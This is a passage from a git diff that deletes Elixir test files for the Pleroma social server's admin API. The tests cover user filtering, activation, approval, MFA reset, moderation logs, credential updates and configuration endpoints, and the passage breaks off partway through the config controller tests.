"registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "only local users with no query", %{conn: conn, admin: old_admin} do - admin = insert(:user, is_admin: true, nickname: "john") - user = insert(:user, nickname: "bob") - - insert(:user, nickname: "bobb", local: false) - - conn = get(conn, "/api/pleroma/admin/users?filters=local") - - users = - [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => admin.deactivated, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => false, - "id" => old_admin.id, - "local" => true, - "nickname" => old_admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "tags" => [], - "avatar" => User.avatar_url(old_admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(old_admin.name || old_admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => old_admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 3, - "page_size" => 50, - "users" => users - } - end - - test "only unapproved users", %{conn: conn} do - user = - insert(:user, - nickname: "sadboy", - approval_pending: true, - registration_reason: "Plz let me in!" - ) - - insert(:user, nickname: "happyboy", approval_pending: false) - - conn = get(conn, "/api/pleroma/admin/users?filters=need_approval") - - users = - [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => true, - "url" => user.ap_id, - "registration_reason" => "Plz let me in!", - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => users - } - end - - test "load only admins", %{conn: conn, admin: admin} do - second_admin = insert(:user, is_admin: true) - insert(:user) - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?filters=is_admin") - - users = - [ - %{ - "deactivated" => false, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => admin.local, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => false, - "id" => second_admin.id, - "nickname" => second_admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => second_admin.local, - "tags" => [], - "avatar" => User.avatar_url(second_admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(second_admin.name || second_admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => second_admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 2, - "page_size" => 50, - "users" => users - } - end - - test "load only moderators", %{conn: conn} do - moderator = insert(:user, is_moderator: true) - insert(:user) - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?filters=is_moderator") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => false, - "id" => moderator.id, - "nickname" => moderator.nickname, - "roles" => %{"admin" => false, "moderator" => true}, - "local" => moderator.local, - "tags" => [], - "avatar" => User.avatar_url(moderator) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(moderator.name || moderator.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => moderator.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "load users with tags list", %{conn: conn} do - user1 = insert(:user, tags: ["first"]) - user2 = insert(:user, tags: ["second"]) - insert(:user) - insert(:user) - - conn = get(conn, "/api/pleroma/admin/users?tags[]=first&tags[]=second") - - users = - [ - %{ - "deactivated" => false, - "id" => user1.id, - "nickname" => user1.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => user1.local, - "tags" => ["first"], - "avatar" => User.avatar_url(user1) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user1.name || user1.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user1.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - }, - %{ - "deactivated" => false, - "id" => user2.id, - "nickname" => user2.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => user2.local, - "tags" => ["second"], - "avatar" => User.avatar_url(user2) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user2.name || user2.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user2.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - |> Enum.sort_by(& &1["nickname"]) - - assert json_response(conn, 200) == %{ - "count" => 2, - "page_size" => 50, - "users" => users - } - end - - test "`active` filters out users pending approval", %{token: token} do - insert(:user, approval_pending: true) - %{id: user_id} = insert(:user, approval_pending: false) - %{id: admin_id} = token.user - - conn = - build_conn() - |> assign(:user, token.user) - |> assign(:token, token) - |> get("/api/pleroma/admin/users?filters=active") - - assert %{ - "count" => 2, - "page_size" => 50, - "users" => [ - %{"id" => ^admin_id}, - %{"id" => ^user_id} - ] - } = json_response(conn, 200) - end - - test "it works with multiple filters" do - admin = insert(:user, nickname: "john", is_admin: true) - token = insert(:oauth_admin_token, user: admin) - user = insert(:user, nickname: "bob", local: false, deactivated: true) - - insert(:user, nickname: "ken", local: true, deactivated: true) - insert(:user, nickname: "bobb", local: false, deactivated: false) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - |> get("/api/pleroma/admin/users?filters=deactivated,external") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => user.local, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - - test "it omits relay user", %{admin: admin, conn: conn} do - assert %User{} = Relay.get_actor() - - conn = get(conn, "/api/pleroma/admin/users") - - assert json_response(conn, 200) == %{ - "count" => 1, - "page_size" => 50, - "users" => [ - %{ - "deactivated" => admin.deactivated, - "id" => admin.id, - "nickname" => admin.nickname, - "roles" => %{"admin" => true, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(admin) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(admin.name || admin.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => admin.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - ] - } - end - end - - test "PATCH /api/pleroma/admin/users/activate", %{admin: admin, conn: conn} do - user_one = insert(:user, deactivated: true) - user_two = insert(:user, deactivated: true) - - conn = - patch( - conn, - "/api/pleroma/admin/users/activate", - %{nicknames: [user_one.nickname, user_two.nickname]} - ) - - response = json_response(conn, 200) - assert Enum.map(response["users"], & &1["deactivated"]) == [false, false] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} activated users: @#{user_one.nickname}, @#{user_two.nickname}" - end - - test "PATCH /api/pleroma/admin/users/deactivate", %{admin: admin, conn: conn} do - user_one = insert(:user, deactivated: false) - user_two = insert(:user, deactivated: false) - - conn = - patch( - conn, - "/api/pleroma/admin/users/deactivate", - %{nicknames: [user_one.nickname, user_two.nickname]} - ) - - response = json_response(conn, 200) - assert Enum.map(response["users"], & &1["deactivated"]) == [true, true] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deactivated users: @#{user_one.nickname}, @#{user_two.nickname}" - end - - test "PATCH /api/pleroma/admin/users/approve", %{admin: admin, conn: conn} do - user_one = insert(:user, approval_pending: true) - user_two = insert(:user, approval_pending: true) - - conn = - patch( - conn, - "/api/pleroma/admin/users/approve", - %{nicknames: [user_one.nickname, user_two.nickname]} - ) - - response = json_response(conn, 200) - assert Enum.map(response["users"], & &1["approval_pending"]) == [false, false] - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} approved users: @#{user_one.nickname}, @#{user_two.nickname}" - end - - test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation", %{admin: admin, conn: conn} do - user = insert(:user) - - conn = patch(conn, "/api/pleroma/admin/users/#{user.nickname}/toggle_activation") - - assert json_response(conn, 200) == - %{ - "deactivated" => !user.deactivated, - "id" => user.id, - "nickname" => user.nickname, - "roles" => %{"admin" => false, "moderator" => false}, - "local" => true, - "tags" => [], - "avatar" => User.avatar_url(user) |> MediaProxy.url(), - "display_name" => HTML.strip_tags(user.name || user.nickname), - "confirmation_pending" => false, - "approval_pending" => false, - "url" => user.ap_id, - "registration_reason" => nil, - "actor_type" => "Person" - } - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deactivated users: @#{user.nickname}" - end - - describe "PUT disable_mfa" do - test "returns 200 and disable 2fa", %{conn: conn} do - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} - } - ) - - response = - conn - |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: user.nickname}) - |> json_response(200) - - assert response == user.nickname - mfa_settings = refresh_record(user).multi_factor_authentication_settings - - refute mfa_settings.enabled - refute mfa_settings.totp.confirmed - end - - test "returns 404 if user not found", %{conn: conn} do - response = - conn - |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: "nickname"}) - |> json_response(404) - - assert response == %{"error" => "Not found"} - end - end - - describe "GET /api/pleroma/admin/restart" do - setup do: clear_config(:configurable_from_database, true) - - test "pleroma restarts", %{conn: conn} do - capture_log(fn -> - assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == %{} - end) =~ "pleroma restarted" - - refute Restarter.Pleroma.need_reboot?() - end - end - - test "need_reboot flag", %{conn: conn} do - assert conn - |> get("/api/pleroma/admin/need_reboot") - |> json_response(200) == %{"need_reboot" => false} - - Restarter.Pleroma.need_reboot() - - assert conn - |> get("/api/pleroma/admin/need_reboot") - |> json_response(200) == %{"need_reboot" => true} - - on_exit(fn -> Restarter.Pleroma.refresh() end) - end - - describe "GET /api/pleroma/admin/users/:nickname/statuses" do - setup do - user = insert(:user) - - date1 = (DateTime.to_unix(DateTime.utc_now()) + 2000) |> DateTime.from_unix!() - date2 = (DateTime.to_unix(DateTime.utc_now()) + 1000) |> DateTime.from_unix!() - date3 = (DateTime.to_unix(DateTime.utc_now()) + 3000) |> DateTime.from_unix!() - - insert(:note_activity, user: user, published: date1) - insert(:note_activity, user: user, published: date2) - insert(:note_activity, user: user, published: date3) - - %{user: user} - end - - test "renders user's statuses", %{conn: conn, user: user} do - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") - - assert json_response(conn, 200) |> length() == 3 - end - - test "renders user's statuses with a limit", %{conn: conn, user: user} do - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?page_size=2") - - assert json_response(conn, 200) |> length() == 2 - end - - test "doesn't return private statuses by default", %{conn: conn, user: user} do - {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) - - {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") - - assert json_response(conn, 200) |> length() == 4 - end - - test "returns private statuses with godmode on", %{conn: conn, user: user} do - {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) - - {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) - - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?godmode=true") - - assert json_response(conn, 200) |> length() == 5 - end - - test "excludes reblogs by default", %{conn: conn, user: user} do - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "."}) - {:ok, %Activity{}} = CommonAPI.repeat(activity.id, other_user) - - conn_res = get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses") - assert json_response(conn_res, 200) |> length() == 0 - - conn_res = - get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses?with_reblogs=true") - - assert json_response(conn_res, 200) |> length() == 1 - end - end - - describe "GET /api/pleroma/admin/users/:nickname/chats" do - setup do - user = insert(:user) - recipients = insert_list(3, :user) - - Enum.each(recipients, fn recipient -> - CommonAPI.post_chat_message(user, recipient, "yo") - end) - - %{user: user} - end - - test "renders user's chats", %{conn: conn, user: user} do - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") - - assert json_response(conn, 200) |> length() == 3 - end - end - - describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do - setup do - user = insert(:user) - recipient = insert(:user) - CommonAPI.post_chat_message(user, recipient, "yo") - %{conn: conn} = oauth_access(["read:chats"]) - %{conn: conn, user: user} - end - - test "returns 403", %{conn: conn, user: user} do - conn - |> get("/api/pleroma/admin/users/#{user.nickname}/chats") - |> json_response(403) - end - end - - describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do - setup do - user = insert(:user) - recipient = insert(:user) - CommonAPI.post_chat_message(user, recipient, "yo") - %{conn: build_conn(), user: user} - end - - test "returns 403", %{conn: conn, user: user} do - conn - |> get("/api/pleroma/admin/users/#{user.nickname}/chats") - |> json_response(403) - end - end - - describe "GET /api/pleroma/admin/moderation_log" do - setup do - moderator = insert(:user, is_moderator: true) - - %{moderator: moderator} - end - - test "returns the log", %{conn: conn, admin: admin} do - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) - }) - - conn = get(conn, "/api/pleroma/admin/moderation_log") - - response = json_response(conn, 200) - [first_entry, second_entry] = response["items"] - - assert response["total"] == 2 - assert first_entry["data"]["action"] == "relay_unfollow" - - assert first_entry["message"] == - "@#{admin.nickname} unfollowed relay: https://example.org/relay" - - assert second_entry["data"]["action"] == "relay_follow" - - assert second_entry["message"] == - "@#{admin.nickname} followed relay: https://example.org/relay" - end - - test "returns the log with pagination", %{conn: conn, admin: admin} do - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) - }) - - conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1") - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 2 - assert response1["items"] |> length() == 1 - assert first_entry["data"]["action"] == "relay_unfollow" - - assert first_entry["message"] == - "@#{admin.nickname} unfollowed relay: https://example.org/relay" - - conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2") - - response2 = json_response(conn2, 200) - [second_entry] = response2["items"] - - assert response2["total"] == 2 - assert response2["items"] |> length() == 1 - assert second_entry["data"]["action"] == "relay_follow" - - assert second_entry["message"] == - "@#{admin.nickname} followed relay: https://example.org/relay" - end - - test "filters log by date", %{conn: conn, admin: admin} do - first_date = "2017-08-15T15:47:06Z" - second_date = "2017-08-20T15:47:06Z" - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.from_iso8601!(first_date) - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - }, - inserted_at: NaiveDateTime.from_iso8601!(second_date) - }) - - conn1 = - get( - conn, - "/api/pleroma/admin/moderation_log?start_date=#{second_date}" - ) - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 1 - assert first_entry["data"]["action"] == "relay_unfollow" - - assert first_entry["message"] == - "@#{admin.nickname} unfollowed relay: https://example.org/relay" - end - - test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => admin.id, - "nickname" => admin.nickname, - "type" => "user" - }, - action: "relay_follow", - target: "https://example.org/relay" - } - }) - - Repo.insert(%ModerationLog{ - data: %{ - actor: %{ - "id" => moderator.id, - "nickname" => moderator.nickname, - "type" => "user" - }, - action: "relay_unfollow", - target: "https://example.org/relay" - } - }) - - conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}") - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 1 - assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id - end - - test "returns log filtered by search", %{conn: conn, moderator: moderator} do - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_follow", - target: "https://example.org/relay" - }) - - ModerationLog.insert_log(%{ - actor: moderator, - action: "relay_unfollow", - target: "https://example.org/relay" - }) - - conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo") - - response1 = json_response(conn1, 200) - [first_entry] = response1["items"] - - assert response1["total"] == 1 - - assert get_in(first_entry, ["data", "message"]) == - "@#{moderator.nickname} unfollowed relay: https://example.org/relay" - end - end - - test "gets a remote users when [:instance, :limit_to_local_content] is set to :unauthenticated", - %{conn: conn} do - clear_config(Pleroma.Config.get([:instance, :limit_to_local_content]), :unauthenticated) - user = insert(:user, %{local: false, nickname: "u@peer1.com"}) - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") - - assert json_response(conn, 200) - end - - describe "GET /users/:nickname/credentials" do - test "gets the user credentials", %{conn: conn} do - user = insert(:user) - conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") - - response = assert json_response(conn, 200) - assert response["email"] == user.email - end - - test "returns 403 if requested by a non-admin" do - user = insert(:user) - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/pleroma/admin/users/#{user.nickname}/credentials") - - assert json_response(conn, :forbidden) - end - end - - describe "PATCH /users/:nickname/credentials" do - setup do - user = insert(:user) - [user: user] - end - - test "changes password and email", %{conn: conn, admin: admin, user: user} do - assert user.password_reset_pending == false - - conn = - patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "password" => "new_password", - "email" => "new_email@example.com", - "name" => "new_name" - }) - - assert json_response(conn, 200) == %{"status" => "success"} - - ObanHelpers.perform_all() - - updated_user = User.get_by_id(user.id) - - assert updated_user.email == "new_email@example.com" - assert updated_user.name == "new_name" - assert updated_user.password_hash != user.password_hash - assert updated_user.password_reset_pending == true - - [log_entry2, log_entry1] = ModerationLog |> Repo.all() |> Enum.sort() - - assert ModerationLog.get_log_entry_message(log_entry1) == - "@#{admin.nickname} updated users: @#{user.nickname}" - - assert ModerationLog.get_log_entry_message(log_entry2) == - "@#{admin.nickname} forced password reset for users: @#{user.nickname}" - end - - test "returns 403 if requested by a non-admin", %{user: user} do - conn = - build_conn() - |> assign(:user, user) - |> patch("/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "password" => "new_password", - "email" => "new_email@example.com", - "name" => "new_name" - }) - - assert json_response(conn, :forbidden) - end - - test "changes actor type from permitted list", %{conn: conn, user: user} do - assert user.actor_type == "Person" - - assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "actor_type" => "Service" - }) - |> json_response(200) == %{"status" => "success"} - - updated_user = User.get_by_id(user.id) - - assert updated_user.actor_type == "Service" - - assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ - "actor_type" => "Application" - }) - |> json_response(400) == %{"errors" => %{"actor_type" => "is invalid"}} - end - - test "update non existing user", %{conn: conn} do - assert patch(conn, "/api/pleroma/admin/users/non-existing/credentials", %{ - "password" => "new_password" - }) - |> json_response(404) == %{"error" => "Not found"} - end - end - - describe "PATCH /users/:nickname/force_password_reset" do - test "sets password_reset_pending to true", %{conn: conn} do - user = insert(:user) - assert user.password_reset_pending == false - - conn = - patch(conn, "/api/pleroma/admin/users/force_password_reset", %{nicknames: [user.nickname]}) - - assert empty_json_response(conn) == "" - - ObanHelpers.perform_all() - - assert User.get_by_id(user.id).password_reset_pending == true - end - end - - describe "instances" do - test "GET /instances/:instance/statuses", %{conn: conn} do - user = insert(:user, local: false, nickname: "archaeme@archae.me") - user2 = insert(:user, local: false, nickname: "test@test.com") - insert_pair(:note_activity, user: user) - activity = insert(:note_activity, user: user2) - - ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") - - response = json_response(ret_conn, 200) - - assert length(response) == 2 - - ret_conn = get(conn, "/api/pleroma/admin/instances/test.com/statuses") - - response = json_response(ret_conn, 200) - - assert length(response) == 1 - - ret_conn = get(conn, "/api/pleroma/admin/instances/nonexistent.com/statuses") - - response = json_response(ret_conn, 200) - - assert Enum.empty?(response) - - CommonAPI.repeat(activity.id, user) - - ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses") - response = json_response(ret_conn, 200) - assert length(response) == 2 - - ret_conn = get(conn, "/api/pleroma/admin/instances/archae.me/statuses?with_reblogs=true") - response = json_response(ret_conn, 200) - assert length(response) == 3 - end - end - - describe "PATCH /confirm_email" do - test "it confirms emails of two users", %{conn: conn, admin: admin} do - [first_user, second_user] = insert_pair(:user, confirmation_pending: true) - - assert first_user.confirmation_pending == true - assert second_user.confirmation_pending == true - - ret_conn = - patch(conn, "/api/pleroma/admin/users/confirm_email", %{ - nicknames: [ - first_user.nickname, - second_user.nickname - ] - }) - - assert ret_conn.status == 200 - - assert first_user.confirmation_pending == true - assert second_user.confirmation_pending == true - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} confirmed email for users: @#{first_user.nickname}, @#{ - second_user.nickname - }" - end - end - - describe "PATCH /resend_confirmation_email" do - test "it resend emails for two users", %{conn: conn, admin: admin} do - [first_user, second_user] = insert_pair(:user, confirmation_pending: true) - - ret_conn = - patch(conn, "/api/pleroma/admin/users/resend_confirmation_email", %{ - nicknames: [ - first_user.nickname, - second_user.nickname - ] - }) - - assert ret_conn.status == 200 - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} re-sent confirmation email for users: @#{first_user.nickname}, @#{ - second_user.nickname - }" - - ObanHelpers.perform_all() - - Pleroma.Emails.UserEmail.account_confirmation_email(first_user) - # temporary hackney fix until hackney max_connections bug is fixed - # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 - |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) - |> assert_email_sent() - end - end - - describe "/api/pleroma/admin/stats" do - test "status visibility count", %{conn: conn} do - admin = insert(:user, is_admin: true) - user = insert(:user) - CommonAPI.post(user, %{visibility: "public", status: "hey"}) - CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) - CommonAPI.post(user, %{visibility: "unlisted", status: "hey"}) - - response = - conn - |> assign(:user, admin) - |> get("/api/pleroma/admin/stats") - |> json_response(200) - - assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 2} = - response["status_visibility"] - end - - test "by instance", %{conn: conn} do - admin = insert(:user, is_admin: true) - user1 = insert(:user) - instance2 = "instance2.tld" - user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) - - CommonAPI.post(user1, %{visibility: "public", status: "hey"}) - CommonAPI.post(user2, %{visibility: "unlisted", status: "hey"}) - CommonAPI.post(user2, %{visibility: "private", status: "hey"}) - - response = - conn - |> assign(:user, admin) - |> get("/api/pleroma/admin/stats", instance: instance2) - |> json_response(200) - - assert %{"direct" => 0, "private" => 1, "public" => 0, "unlisted" => 1} = - response["status_visibility"] - end - end -end - -# Needed for testing -defmodule Pleroma.Web.Endpoint.NotReal do -end - -defmodule Pleroma.Captcha.NotReal do -end diff --git a/test/web/admin_api/controllers/config_controller_test.exs b/test/web/admin_api/controllers/config_controller_test.exs deleted file mode 100644 index 4e897455f..000000000 --- a/test/web/admin_api/controllers/config_controller_test.exs +++ /dev/null @@ -1,1465 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ConfigControllerTest do - use Pleroma.Web.ConnCase, async: true - - import ExUnit.CaptureLog - import Pleroma.Factory - - alias Pleroma.Config - alias Pleroma.ConfigDB - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/config" do - setup do: clear_config(:configurable_from_database, true) - - test "when configuration from database is off", %{conn: conn} do - Config.put(:configurable_from_database, false) - conn = get(conn, "/api/pleroma/admin/config") - - assert json_response_and_validate_schema(conn, 400) == - %{ - "error" => "To use this endpoint you need to enable configuration from database." - } - end - - test "with settings only in db", %{conn: conn} do - config1 = insert(:config) - config2 = insert(:config) - - conn = get(conn, "/api/pleroma/admin/config?only_db=true") - - %{ - "configs" => [ - %{ - "group" => ":pleroma", - "key" => key1, - "value" => _ - }, - %{ - "group" => ":pleroma", - "key" => key2, - "value" => _ - } - ] - } = json_response_and_validate_schema(conn, 200) - - assert key1 == inspect(config1.key) - assert key2 == inspect(config2.key) - end - - test "db is added to settings that are in db", %{conn: conn} do - _config = insert(:config, key: ":instance", value: [name: "Some name"]) - - %{"configs" => configs} = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - [instance_config] = - Enum.filter(configs, fn %{"group" => group, "key" => key} -> - group == ":pleroma" and key == ":instance" - end) - - assert instance_config["db"] == [":name"] - end - - test "merged default setting with db settings", %{conn: conn} do - config1 = insert(:config) - config2 = insert(:config) - - config3 = - insert(:config, - value: [k1: :v1, k2: :v2] - ) - - %{"configs" => configs} = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - assert length(configs) > 3 - - saved_configs = [config1, config2, config3] - keys = Enum.map(saved_configs, &inspect(&1.key)) - - received_configs = - Enum.filter(configs, fn %{"group" => group, "key" => key} -> - group == ":pleroma" and key in keys - end) - - assert length(received_configs) == 3 - - db_keys = - config3.value - |> Keyword.keys() - |> ConfigDB.to_json_types() - - keys = Enum.map(saved_configs -- [config3], &inspect(&1.key)) - - values = Enum.map(saved_configs, &ConfigDB.to_json_types(&1.value)) - - mapset_keys = MapSet.new(keys ++ db_keys) - - Enum.each(received_configs, fn %{"value" => value, "db" => db} -> - db = MapSet.new(db) - assert MapSet.subset?(db, mapset_keys) - - assert value in values - end) - end - - test "subkeys with full update right merge", %{conn: conn} do - insert(:config, - key: ":emoji", - value: [groups: [a: 1, b: 2], key: [a: 1]] - ) - - insert(:config, - key: ":assets", - value: [mascots: [a: 1, b: 2], key: [a: 1]] - ) - - %{"configs" => configs} = - conn - |> get("/api/pleroma/admin/config") - |> json_response_and_validate_schema(200) - - vals = - Enum.filter(configs, fn %{"group" => group, "key" => key} -> - group == ":pleroma" and key in [":emoji", ":assets"] - end) - - emoji = Enum.find(vals, fn %{"key" => key} -> key == ":emoji" end) - assets = Enum.find(vals, fn %{"key" => key} -> key == ":assets" end) - - emoji_val = ConfigDB.to_elixir_types(emoji["value"]) - assets_val = ConfigDB.to_elixir_types(assets["value"]) - - assert emoji_val[:groups] == [a: 1, b: 2] - assert assets_val[:mascots] == [a: 1, b: 2] - end - - test "with valid `admin_token` query parameter, skips OAuth scopes check" do - clear_config([:admin_token], "password123") - - build_conn() - |> get("/api/pleroma/admin/config?admin_token=password123") - |> json_response_and_validate_schema(200) - end - end - - test "POST /api/pleroma/admin/config error", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/admin/config", %{"configs" => []}) - - assert json_response_and_validate_schema(conn, 400) == - %{"error" => "To use this endpoint you need to enable configuration from database."} - end - - describe "POST /api/pleroma/admin/config" do - setup do - http = Application.get_env(:pleroma, :http) - - on_exit(fn -> - Application.delete_env(:pleroma, 